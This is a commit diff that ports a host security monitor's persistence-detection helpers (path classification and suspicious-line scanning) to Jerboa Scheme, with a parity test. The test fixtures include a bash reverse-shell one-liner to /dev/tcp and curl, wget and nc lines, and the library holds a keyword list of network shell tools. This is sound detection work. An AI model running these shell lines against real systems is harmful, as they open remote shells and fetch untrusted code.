Port monitor/persistence pure helpers to untyped Jerboa
ober
a65c6dfc91aedccfe28697dc0d7fe85344873c56
--- a/Makefile +++ b/Makefile @@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme BUILD ?= build/rust TYPED := $(wildcard typed/*.ss) -.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check checks clean +.PHONY: rust test ffi-demo kernels-check triage-check triage-store-check analytics-check detect-check storage-check threats-check geoip-check sigma-check yaml-rules-check buffer-check dns-sniffer-check suspicious-check netconn-check kernmod-check selinux-check container-check dns-servers-check sensitive-path-check dtrace-parse-check proc-linux-check freebsd-parse-check event-meta-check config-check event-danger-check persistence-check checks clean # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon # (a second --libdirs would replace, not append, the jerboa one). LIBDIRS := "$(JERBOA)/lib:$(CURDIR)" @@ -195,6 +195,13 @@ config-check: event-danger-check: $(SCHEME) --libdirs $(LIBDIRS) --script examples/event_danger_check.ss +# Persistence detection helpers (secmon monitor/persistence.rs): classify_path +# (path -> persistence-type, ordered first-match) and extract_suspicious_content +# (first suspicious line, truncated; faithfully preserves the dead uppercase +# patterns). Pure — file walking is the deferred I/O — no native lib. +persistence-check: + $(SCHEME) --libdirs $(LIBDIRS) --script examples/persistence_check.ss + # Everything that runs through the Jerboa side of the bridge, one shot. checks: kernels-check $(SCHEME) --libdirs $(LIBDIRS) --script examples/triage_check.ss --- a/README.md +++ b/README.md @@ -46,6 +46,7 @@ make freebsd-parse-check # FreeBSD kldstat row + sockstat addr:port (decimal, wi make event-meta-check # event-type -> display severity + coarse store-priority u8 tables make config-check # AgentConfig defaults + from_env merge + platform db/key paths make event-danger-check # mount is_dangerous + capability dangerous_caps predicates +make persistence-check # classify_path (-> persistence type) + suspicious-content line scan make checks # every Jerboa-side check in one shot ``` @@ -118,5 +119,6 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage). | `event_json` + `local_store` (tables) | `jsecmon/event-meta.ss` | ✅ **untyped layer** — the pure classification tables lifted out of the payload-carrying `EventType` enum: `event_json.rs` `get_event_json_data`'s **display severity** (25 constant arms as a name→severity table, + the 7 payload-dependent arms as named helpers taking the deciding field — `auth`/`privilege_change`/`mount`/`capability`/`podman`/`selinux`/`lateral_movement`), and `local_store.rs` `event_severity_u8`'s **coarse store priority** 0..3, which is an *independent* scale (e.g. `privilege_escalation` is `critical` for display but `0` for the store). secmon has no `#[test]` here, so `make event-meta-check` asserts both full tables arm-for-arm against the Rust source. (The JSON payload bodies stay with the I/O layer that owns the event structs.) | | `config` | `jsecmon/config.ss` | ✅ **untyped layer** — `AgentConfig`'s pure parts: the defaults (`0.0.0.0:31337`, poll `100`ms, buffer `10000`), the `from_env` merge (overwrites `listen_addr` on any present value but only overwrites poll/buffer when the value parses as strict u64 — a bad value **keeps the default**, it is not zeroed), and `local_db_path`/`local_key_path` (env override, else `/opt/secmon/{events.db,local.key}` on linux+freebsd, else the `./secmon_*` cwd fallback). Parameterized over a `getenv` callback + a `platform` symbol so the env reads stay deferred I/O; the build.rs-embedded secrets (`get_public_key`/`get_psk`/`is_debug_mode`) belong to the build/FFI phase, not this layer. secmon has no tests here, so `make config-check` asserts the behaviour against the Rust source. | | `monitor/events` (danger predicates) | `jsecmon/event-danger.ss` | ✅ **untyped layer** — the payload predicates that drive a mount/capability event's severity, lifted off their structs: `MountEventInfo::is_dangerous` (`mount-danger-reason source target` → reason string, with the faithful corner that the `/` source entry's prefix is `//` so a plain `/foo` is **not** flagged, and dangerous *targets* match exact-only) and `CapabilityEventInfo::dangerous_caps` (`cap_effective` bits → cap names in the Rust push order, full u64 so bits 38/39 work). These compute the booleans `event-meta`'s mount/capability severity helpers consume. Pure, no native lib; `make event-danger-check` asserts against the Rust source. | +| `monitor/persistence` (helpers) | `jsecmon/persistence.ss` | ✅ **untyped layer** — `classify_path` (path → `PersistenceType` symbol via an ordered first-match substring chain; `systemd` before `cron`, `.timer` vs service, and the shell-profile arm == the default) and `extract_suspicious_content` (first line matching `SUSPICIOUS_PATTERNS`, returned in original case, truncated to 200 chars + `...`). Faithfully preserves secmon's dead-pattern bug: the line is lowercased before `contains`, so the uppercase patterns `NOPASSWD`/`ALL=(ALL)` can never match. Pure — the directory walk + baseline hashing are the deferred I/O — no native lib; `make persistence-check` asserts against the Rust source. | | `monitor::dns_sniffer` (DNS wire parser + dedup) | `jsecmon/dns-sniffer.ss` | ✅ **untyped layer** — the platform-independent half of secmon's `src/monitor/dns_sniffer.rs`: the DNS wire-format parser (QNAME decoding with compression-pointer chasing capped at 128 steps, QTYPE→string, question + A/AAAA answer-RR extraction) and the 5s dedup / 30s cleanup state machine. Every bounds check is preserved — a truncated/malformed/looping packet yields `#f`, never a bad read. Pure byte parsing → untyped, like geoip. The AF_PACKET raw-socket capture + `/proc` PID lookup stay for the monitor I/O driver. `make dns-sniffer-check` reproduces secmon's parser + dedup tests (+ AAAA, qtype table, pointer-loop/qdcount guards). | | monitors / server / ebpf / dtrace | — | ⏳ I/O+async+FFI, last | new file mode 100644 --- /dev/null +++ b/examples/persistence_check.ss @@ -0,0 +1,66 @@ +;;; Parity check for (jsecmon persistence) against secmon monitor/persistence.rs +;;; (classify_path, extract_suspicious_content). secmon has no #[test] here, so +;;; this derives expectations from the Rust source and IS the spec for the port. +;;; +;;; scheme --libdirs "$JERBOA/lib:." --script examples/persistence_check.ss + +(import (jerboa prelude) + (jsecmon persistence)) + +(def fails 0) +(def (check name got want) + (let ((ok (equal? got want))) + (unless ok (set! fails (+ fails 1))) + (displayln (if ok " ok " " FAIL ") name + (if ok "" (str " got " got " want " want))))) + +;; ── classify_path ──────────────────────────────────────────────────────────── +(displayln "classify-path:") +(check "systemd service" (classify-path "/etc/systemd/system/evil.service") 'systemd-service) +(check "systemd timer" (classify-path "/etc/systemd/system/evil.timer") 'systemd-timer) +(check "init.d" (classify-path "/etc/init.d/foo") 'init-script) +(check "rc.d" (classify-path "/usr/local/etc/rc.d/bar") 'init-script) +(check "rc.local" (classify-path "/etc/rc.local") 'rc-local) +(check "cron" (classify-path "/var/spool/cron/crontabs/root") 'cron-job) +(check "ld.so.preload" (classify-path "/etc/ld.so.preload") 'ld-preload) +(check "authorized_keys" (classify-path "/home/u/.ssh/authorized_keys") 'ssh-authorized-key) +(check "sudoers" (classify-path "/etc/sudoers.d/evil") 'sudoers) +(check ".bashrc -> shell" (classify-path "/home/u/.bashrc") 'shell-profile) +(check "/profile -> shell" (classify-path "/etc/profile") 'shell-profile) +(check ".bash_ -> shell" (classify-path "/home/u/.bash_aliases") 'shell-profile) +(check "unknown -> shell" (classify-path "/random/path") 'shell-profile) +;; ordering: systemd checked before cron +(check "systemd+cron -> systemd" + (classify-path "/etc/systemd/system/cron.service") 'systemd-service) + +;; ── extract_suspicious_content ─────────────────────────────────────────────── +(displayln "extract-suspicious-content:") +(check "curl on 2nd line" + (extract-suspicious-content "echo hi\ncurl http://evil") "curl http://evil") +(check "harmless -> #f" + (extract-suspicious-content "harmless line\nanother safe one") #f) +(check "single reverse-shell line" + (extract-suspicious-content "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1") + "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1") +;; case-insensitive match, but original case returned +(check "CURL upper matches, original returned" + (extract-suspicious-content "CURL http://x") "CURL http://x") +;; faithful dead patterns: NOPASSWD / ALL=(ALL) are uppercase -> never match +(check "sudoers NOPASSWD line NOT matched (dead patterns)" + (extract-suspicious-content "Defaults root ALL=(ALL) NOPASSWD: ALL") #f) +;; first matching LINE wins +(check "first matching line" + (extract-suspicious-content "line1 safe\nline2 wget evil\nline3 curl evil") + "line2 wget evil") +;; CRLF: the \r is stripped from the returned line +(check "CRLF stripped" + (extract-suspicious-content "ok\r\nnc 1.2.3.4\r\n") "nc 1.2.3.4") +;; >200 chars -> first 200 + "..." +(check "truncate >200" + (extract-suspicious-content (str (make-string 205 #\x) "curl ")) + (str (make-string 200 #\x) "...")) + +(newline) +(if (= fails 0) + (displayln "OK: persistence matches secmon's persistence.rs helpers.") + (begin (displayln fails " FAILURES") (exit 1))) new file mode 100644 --- /dev/null +++ b/jsecmon/persistence.ss @@ -0,0 +1,82 @@ +#!chezscheme +;;; jsecmon persistence detection helpers (secmon monitor/persistence.rs), untyped. +;;; +;;; The pure helpers of secmon's PersistenceMonitor, with the file walking and +;;; baseline hashing (the deferred I/O) stripped off: +;;; classify-path : path -> persistence-type symbol +;;; extract-suspicious-content : text -> matching line (truncated) | #f +;;; +;;; persistence-type is one of: systemd-service systemd-timer init-script +;;; rc-local cron-job shell-profile ld-preload ssh-authorized-key sudoers +;;; (PersistenceType in src/monitor/events.rs). +;;; +;;; Faithfulness notes: +;;; * classify-path is an ORDERED first-match chain of substring tests; the +;;; ".bashrc/.profile/.zshrc//profile/.bash_" arm and the catch-all both +;;; yield shell-profile, so anything unmatched defaults to shell-profile. +;;; "systemd" is checked first (a path with both "systemd" and "cron" is +;;; systemd-*), and ".timer" only distinguishes timer from service. +;;; * extract-suspicious-content lowercases each line, then tests +;;; lower.contains(pattern). Two patterns ("NOPASSWD", "ALL=(ALL)") contain +;;; uppercase letters, so against an already-lowercased line they can NEVER +;;; match — this is faithful to secmon (the patterns are effectively dead). +;;; It returns the FIRST matching line in ORIGINAL case, truncated to 200 +;;; chars + "..." when longer. secmon slices bytes ([..200]); this slices +;;; chars, identical for ASCII content. The pattern that matched doesn't +;;; affect the snippet, so pattern order is irrelevant; line order is not. +;;; +;;; secmon has no #[test] for these, so examples/persistence_check.ss derives +;;; every expectation from the Rust source and IS the spec for this port. + +(library (jsecmon persistence) + (export classify-path extract-suspicious-content *suspicious-patterns*) + (import (except (chezscheme) + make-hash-table hash-table? + sort sort! + printf fprintf + path-extension path-absolute? + with-input-from-string with-output-to-string + iota 1+ 1- + partition + make-date make-time) + (except (jerboa prelude) meta atom?)) + + ;; PersistenceMonitor::classify_path — ordered first-match. + (def (classify-path path) + (cond + ((string-contains path "systemd") + (if (string-suffix? ".timer" path) 'systemd-timer 'systemd-service)) + ((or (string-contains path "init.d") (string-contains path "rc.d")) 'init-script) + ((string-contains path "rc.local") 'rc-local) + ((string-contains path "cron") 'cron-job) + ((string-contains path "ld.so.preload") 'ld-preload) + ((string-contains path "authorized_keys") 'ssh-authorized-key) + ((string-contains path "sudoers") 'sudoers) + (else 'shell-profile))) ;; .bashrc/.profile/.zshrc//profile/.bash_ + default + + ;; SUSPICIOUS_PATTERNS (obfstr! literals, decoded). "NOPASSWD"/"ALL=(ALL)" keep + ;; their uppercase deliberately — they are dead against a lowercased line. + (def *suspicious-patterns* + '("curl " "wget " "nc " "ncat " "netcat " "/dev/tcp/" "/dev/udp/" "bash -i" "sh -i" + "python -c" "perl -e" "ruby -e" "php -r" "base64" "eval(" "exec(" "|bash" "|sh" + "chmod +x" "chmod 777" "chmod 755" "crontab" "0.0.0.0" "reverse" "shell" + "NOPASSWD" "ALL=(ALL)" "visudo")) + + (def (strip-cr line) + (if (string-suffix? "\r" line) + (substring line 0 (- (string-length line) 1)) + line)) + + ;; PersistenceMonitor::extract_suspicious_content. + (def (extract-suspicious-content text) + (let loop ((lines (map strip-cr (string-split text #\newline)))) + (cond + ((null? lines) #f) + (else + (let* ((line (car lines)) + (lower (string-downcase line))) + (if (for/or ((p *suspicious-patterns*)) (string-contains lower p)) + (if (> (string-length line) 200) + (str (substring line 0 200) "...") + line) + (loop (cdr lines)))))))))